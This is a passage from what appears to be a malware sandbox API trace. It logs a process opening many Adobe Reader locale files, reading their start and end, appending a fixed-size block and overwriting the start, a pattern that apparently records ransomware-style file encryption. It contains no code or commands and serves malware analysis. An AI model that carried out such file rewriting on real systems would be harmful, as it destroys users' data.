lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.008] ReleaseMutex (hMutex=0x128) returned 1 [0039.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NOR", lpUsedDefaultChar=0x0) returned 11 [0039.008] ReadFile (in: hFile=0x184, lpBuffer=0x27c7b68, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.021] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7b000 [0039.021] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.037] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7b000 [0039.037] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.038] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.038] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.038] CloseHandle (hObject=0x184) returned 1 [0039.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.038] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.038] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2800 [0039.038] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.038] ReleaseMutex (hMutex=0x128) returned 1 [0039.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NOR", lpUsedDefaultChar=0x0) returned 11 [0039.038] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.050] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.050] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.050] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.050] WriteFile (in: hFile=0x184, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.050] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.050] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.051] CloseHandle (hObject=0x184) returned 1 [0039.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.051] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.051] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1c00 [0039.051] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.051] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.051] ReleaseMutex (hMutex=0x128) returned 1 [0039.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x1e633ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NLD", lpUsedDefaultChar=0x0) returned 9 [0039.051] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0039.060] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.061] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0039.061] CloseHandle (hObject=0x184) returned 1 [0039.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.061] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.061] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4a00 [0039.062] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.062] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.062] ReleaseMutex (hMutex=0x128) returned 1 [0039.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NLD", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NLD", lpUsedDefaultChar=0x0) returned 13 [0039.062] ReadFile (in: hFile=0x184, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.070] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0039.070] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0039.075] WriteFile (in: hFile=0x184, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.076] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.076] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.076] CloseHandle (hObject=0x184) returned 1 [0039.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.077] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.077] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1c00 [0039.077] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.078] ReleaseMutex (hMutex=0x128) returned 1 [0039.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.POL", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.POL", lpUsedDefaultChar=0x0) returned 19 [0039.078] ReadFile (in: hFile=0x184, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x354f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0039.090] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.090] WriteFile (in: hFile=0x184, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x354f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0039.091] CloseHandle (hObject=0x184) returned 1 [0039.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.091] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.091] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13600 [0039.091] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.091] ReleaseMutex (hMutex=0x128) returned 1 [0039.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.POL", lpUsedDefaultChar=0x0) returned 14 [0039.091] ReadFile (in: hFile=0x184, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.103] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12600 [0039.103] ReadFile (in: hFile=0x184, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.103] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12600 [0039.103] WriteFile (in: hFile=0x184, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.104] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.104] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.104] CloseHandle (hObject=0x184) returned 1 [0039.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.105] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.105] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe9 [0039.105] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.105] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.106] ReleaseMutex (hMutex=0x128) returned 1 [0039.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.106] ReadFile (in: hFile=0x184, lpBuffer=0x25ea748, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea748*, lpNumberOfBytesRead=0x354f2bc*=0xe9, lpOverlapped=0x0) returned 1 [0039.106] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.107] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x671, lpOverlapped=0x0) returned 1 [0039.107] CloseHandle (hObject=0x184) returned 1 [0039.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DigSig.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\digsig.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.117] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.117] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x20000 [0039.117] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.117] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.117] ReleaseMutex (hMutex=0x128) returned 1 [0039.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.PTB", lpUsedDefaultChar=0x0) returned 10 [0039.117] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.126] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1f000 [0039.126] ReadFile (in: hFile=0x1a0, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.146] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1f000 [0039.146] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.147] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.147] WriteFile (in: hFile=0x1a0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.147] CloseHandle (hObject=0x1a0) returned 1 [0039.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\ReadOutLoud.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\readoutloud.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.147] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.148] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2c00 [0039.148] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.148] ReleaseMutex (hMutex=0x128) returned 1 [0039.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0039.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x1e6306c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.PTB", lpUsedDefaultChar=0x0) returned 15 [0039.148] ReadFile (in: hFile=0x1a0, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.162] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1c00 [0039.162] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.167] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1c00 [0039.167] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.167] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.167] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, 